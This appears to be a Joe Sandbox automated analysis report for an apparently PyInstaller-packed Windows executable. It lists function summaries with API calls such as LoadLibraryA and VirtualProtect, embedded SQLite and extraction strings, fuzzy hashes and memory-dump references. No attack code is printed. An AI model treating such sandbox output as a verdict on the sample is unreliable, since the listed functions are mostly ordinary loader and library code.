Associated: 00000001.00000002.2117447704.00007FFDFAF48000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAF92000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAFA7000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAFB7000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAFBE000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFAFCC000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB1AE000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB299000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB29B000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB2D2000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB30F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB36A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB3DB000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB410000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2117447704.00007FFDFB423000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2118578234.00007FFDFB42A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf20000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: )tP
API String ID: 3300690313-3907340667
Opcode ID: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction ID: f2b42df840af097b34a73ba61013dc2c7b44413ea0e5c0f9ecb81c09dff000a7
Opcode Fuzzy Hash: eab163715ab1799b633ac6e81f81b77985ed928b0291ff377fca493afee617fe
Instruction Fuzzy Hash: 5162282272919286E7198F38D6106BD77E0FB48789F045531EEAEC37D8EA7CEA45D700

Function 00007FFE01384C70 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01384EFD
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01384FAE

Strings

database schema is locked: %s, xrefs: 00007FFE01384E56
out of memory, xrefs: 00007FFE01384D5F
statement too long, xrefs: 00007FFE01384EB3

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 4225454184-1046679716
Opcode ID: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction ID: 7889928ddd94b615c0a754c5a890a7c933b39e27cf60508aafb662c496701ec5
Opcode Fuzzy Hash: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
Instruction Fuzzy Hash: 57F18E22A0C78286EB65CF2594143BE6BA0FB85B88F1A4135DA8D0FBA5DF7CE545C740

Function 00007FFDFBAB33C0 Relevance: 6.9, APIs: 4, Instructions: 900librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFBAB3EE9
GetProcAddress.KERNEL32 ref: 00007FFDFBAB3F13
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFBAB3F9D
VirtualProtect.KERNEL32 ref: 00007FFDFBAB3FBB

Memory Dump Source

Source File: 00000001.00000002.2119652825.00007FFDFBAB3000.00000080.00000001.01000000.00000004.sdmp, Offset: 00007FFDFB460000, based on PE: true

Associated: 00000001.00000002.2118621487.00007FFDFB460000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB461000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB736000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB745000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB74F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB791000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB860000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB96B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB96F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB9B6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB9BE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFB9FF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFBA33000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFBA5D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFBA72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2118655051.00007FFDFBAAC000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2119683016.00007FFDFBAB5000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb460000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
Instruction ID: e5da794066cb80445f9f4987f002fb62e026548d81cfde92beded70aff1fc48c
Opcode Fuzzy Hash: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
Instruction Fuzzy Hash: 5062266272999286E7158F38D41067D77E0F748785F049532EABEC37D8EABCEA45CB00

Function 00007FFDFAF10350 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FFDFAF10E65
GetProcAddress.KERNEL32 ref: 00007FFDFAF10E83
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 00007FFDFAF10F03
VirtualProtect.KERNEL32 ref: 00007FFDFAF10F21

Memory Dump Source

Source File: 00000001.00000002.2117242370.00007FFDFAF10000.00000080.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAE60000, based on PE: true

Associated: 00000001.00000002.2116507686.00007FFDFAE60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAE61000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEAA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEB8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae60000_program.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID:
API String ID: 3300690313-0
Opcode ID: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction ID: 1feb29e050cc90f3a52991bad67bad55a5bb1109eda53b64e6c95ea64344b1f2
Opcode Fuzzy Hash: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
Instruction Fuzzy Hash: 66624A2272819696E7198F38D4107BD77A0FB48795F445631FAAEC77C8EA3CEA45CB00

Function 00007FFE01322250 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01322403

Strings

:memory:, xrefs: 00007FFE013222BD

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: :memory:
API String ID: 4225454184-2920599690
Opcode ID: cf44c50e47a0b3b01bdbe700d5214534733093223424063c92267072b1ad3f60
Instruction ID: b3ecb1ef08776efd224a382ae86794c467451d0bf861a4af2e37f630b5a7d18a
Opcode Fuzzy Hash: cf44c50e47a0b3b01bdbe700d5214534733093223424063c92267072b1ad3f60
Instruction Fuzzy Hash: C3428F72A0978286EB65AF25985037A77A0FFA5B88F054135DE4E0B7B5DF3CE494C302

Function 00007FF6B7509280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF6B75092B3
FindClose.KERNEL32 ref: 00007FF6B75092C2

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: e73f47549c7a00f71c569e5c0274794dc2986bf4d1ef8f373acee72fd589298e
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 0CF06823A1C74286F7608F68B4997667390AB84768F050339DBAD426E4DF3CD059CB04

Function 00007FFE01311230 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFE01311255

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction ID: 5f460c12de983cfa19a7a413722382f39d91874366dcc6ee47c881ad5d5c760d
Opcode Fuzzy Hash: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
Instruction Fuzzy Hash: 36A1F560E0AB47C1FF588B65A8943B422F0BF55BC8F554939CA0E5E7B0EF6CE4958302

Function 00007FF6B7501950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6B7507F90: _fread_nolock.LIBCMT ref: 00007FF6B750803A

_fread_nolock.LIBCMT ref: 00007FF6B7501A1B

Part of subcall function 00007FF6B7502910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6B7501B6A), ref: 00007FF6B750295E

Strings

Could not read full TOC!, xrefs: 00007FF6B7501B55
MEI, xrefs: 00007FF6B7501991
Could not allocate buffer for TOC!, xrefs: 00007FF6B7501B1B
Failed to read cookie!, xrefs: 00007FF6B7501A2B
Error on file., xrefs: 00007FF6B7501B8D
Failed to seek to cookie position!, xrefs: 00007FF6B75019EE
calloc, xrefs: 00007FF6B7501A68
fread, xrefs: 00007FF6B7501A32, 00007FF6B7501B5C
Could not allocate memory for archive structure!, xrefs: 00007FF6B7501A61
malloc, xrefs: 00007FF6B7501B22
fseek, xrefs: 00007FF6B75019F5

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: b426b7569fd43417053a9482fb0298cff99dadbc456d732c1d031cb9eee9613e
Instruction ID: 5c34680bb581b6037308d45a95421ba431b8b308b1ce436240f7b5630e3438f5
Opcode Fuzzy Hash: b426b7569fd43417053a9482fb0298cff99dadbc456d732c1d031cb9eee9613e
Instruction Fuzzy Hash: DC816F73A0C68686EB61DB2CD0412BD23A1FF88788F444535EB8DC7BA5EE3CE5858741

Function 00007FF6B7501470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B750149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75014DE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75015DF
fread, xrefs: 00007FF6B75015E6
malloc, xrefs: 00007FF6B750151F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6B7501518
fseek, xrefs: 00007FF6B75014E5

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 72f99dadd0a2177c1d42b060d7648ca84eb7dddf70f4030becfdb2944091b5e7
Instruction ID: 45ed98669c2f5c538919f4ea6eed95d4527243c82f7e3c2e27c677da55cbe8a0
Opcode Fuzzy Hash: 72f99dadd0a2177c1d42b060d7648ca84eb7dddf70f4030becfdb2944091b5e7
Instruction Fuzzy Hash: 6D418023A0C65286EB10DF2994415B963A0FF44798F444936EF4D8BBB5EE3CE542CB01

Function 00007FFE013843D0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01384559

Strings

CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FFE01384474
table, xrefs: 00007FFE013843FA
ase, xrefs: 00007FFE0138465D
sqlite_master, xrefs: 00007FFE0138441C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FFE0138474F
sqlite_temp_master, xrefs: 00007FFE01384415

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 4225454184-879093740
Opcode ID: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
Instruction ID: 0f8b4ba066deafb73fae340496e1f1a607435f1e919cf5ebe93cce073d2f25b5
Opcode Fuzzy Hash: f9f91cf4c879a1f55dcf4b3cc1e56045de927a81096d4cf94589e99b2d0e2aef
Instruction Fuzzy Hash: BAE1BB62E08B928AFB10CB6581403BD6BA5FB55B98F064235DE4D1BBB5DF3CE852C340

Function 00007FF6B7501210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6B7501276
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6B75012EF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6B75012BA
1.3.1, xrefs: 00007FF6B7501249
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6B750141E
malloc, xrefs: 00007FF6B75012C1, 00007FF6B75012F6

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction ID: 7f9a54e1071fe5532483c2daa4c48b6f1c9070b51bd920409945892258ffb7f6
Opcode Fuzzy Hash: 4176682b56444a78b74e0a45c684f191b40491c6c63e868bb09f8baa48a37ad0
Instruction Fuzzy Hash: CA51B123A0C68685EA61AB1AA4403BE6391FF84798F484135EF4DC7BF5EE3CE546C700

Function 00007FF6B75036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6B7503804), ref: 00007FF6B75036E1
GetLastError.KERNEL32(?,00007FF6B7503804), ref: 00007FF6B75036EB

Part of subcall function 00007FF6B7502C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502C9E
Part of subcall function 00007FF6B7502C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6B7503706,?,00007FF6B7503804), ref: 00007FF6B7502D63
Part of subcall function 00007FF6B7502C50: MessageBoxW.USER32 ref: 00007FF6B7502D99

Strings

Failed to resolve full path to executable %ls., xrefs: 00007FF6B7503739
\\?\, xrefs: 00007FF6B750375A
Failed to obtain executable path., xrefs: 00007FF6B75036F3
Failed to convert executable path to UTF-8., xrefs: 00007FF6B7503790
GetModuleFileNameW, xrefs: 00007FF6B75036FA

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: d60e2cf233a9c2584f606a4fd9246dd198f0468a1ff550510e47011322249933
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: F3214F63F1C64251FB219B2CE8153B62350BF99358F804136E75EC65F6EE2CE604C744

Function 00007FF6B751BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751BE89

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction ID: 43c8f9c447001a8a1015abfabceffc146aa3ecb77f293aab244723419772810e
Opcode Fuzzy Hash: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction Fuzzy Hash: D3C1C123A0C6A792E6619F1D94402BD3BA0FB81F91F554235EB8E83BB1CE7CE8458700

Function 00007FF6B7506360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to load Python DLL '%ls'., xrefs: 00007FF6B75064A7
LoadLibrary, xrefs: 00007FF6B75064AE
ucrtbase.dll, xrefs: 00007FF6B75063DD
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF6B75063C7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF6B7506407
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF6B7506456

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 81718045b4f0cc2df8531e2afdf1908686f62bc0f3d0074c7a022fbbb2a69b9f
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: 10417F23A1CA8791EB25DB28E4542E96321FF44398F800132EB5D876F6EF3CE609C740

Function 00007FFE0130FFD0 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFE0131020A

Strings

winOpen, xrefs: 00007FFE0131047D
psow, xrefs: 00007FFE01310581
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFE013102E6
exclusive, xrefs: 00007FFE0131019B

Memory Dump Source

